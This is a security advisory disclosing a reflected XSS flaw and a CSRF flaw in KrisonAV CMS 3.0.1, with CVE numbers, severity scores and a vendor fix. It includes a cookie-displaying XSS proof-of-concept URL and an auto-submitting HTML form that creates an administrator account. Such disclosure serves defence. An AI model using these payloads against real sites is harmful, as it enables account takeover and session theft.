Multiple Vulnerabilities in KrisonAV CMS

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23150
Product: KrisonAV CMS
Vendor: http://www.krisonav.com
Vulnerable Version(s): 3.0.1 and probably prior
Tested Version: 3.0.1
Vendor Notification: March 27, 2013 
Vendor Patch: March 31, 2013 
Public Disclosure: April 17, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery 
[CWE-352]
CVE References: CVE-2013-2712, CVE-2013-2713
Risk Level: Medium 
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 
(AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in 
KrisonAV CMS, which can be exploited to perform cross-site scripting and 
cross-site request forgery attacks.


1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712

The vulnerability exists due to insufficient filtration of user-supplied data 
passed to "content" HTTP GET parameter via "/services/get_article.php" script. 
A remote attacker can trick a logged-in user to follow a specially crafted link 
and execute arbitrary HTML and script code in user's browser in context of the 
vulnerable website.

The exploitation example below uses JavaScript "alert()" function to display 
user's cookies:

http://[host]/services/get_article.php?content=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


2) Сross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: 
CVE-2013-2713

The vulnerability exists due to insufficient verification of the HTTP request 
origin in "/users_maint.html" script. A remote attacker can trick a logged-in 
administrator to visit a specially crafted webpage and create a new account 
with administrative privileges.

PoC (Proof-of-Concept) below will create a new account with login "username" 
and password "password":


<form action="http://[host]/users_maint.html?itemid=52&maint=1&ccsForm=users"; 
method="post" name="f1">
<input type="hidden" name="disabledCheckBox" value="1">
<input type="hidden" name="username" value="username">
<input type="hidden" name="password" value="password">
<input type="hidden" name="groups_index" value="20">
<input type="hidden" name="email" value="newuser@xxxxxxxx">
<input type="hidden" name="Button_Insert" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>


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Solution:

Upgrade to KrisonAV CMS 3.0.2

More Information:
http://www.krisonav.com/articles_show.html?articles_id=release-notes

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References:

[1] High-Tech Bridge Advisory HTB23150 - 
https://www.htbridge.com/advisory/HTB23150 - Multiple Vulnerabilities in 
KrisonAV CMS.
[2] KrisonAV CMS - http://www.krisonav.com - KrisonAV is a content management 
system (CMS), which enables you to build Web sites and online applications. It 
is based on Codecharge Studio, that makes it extremely powerful and secure.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.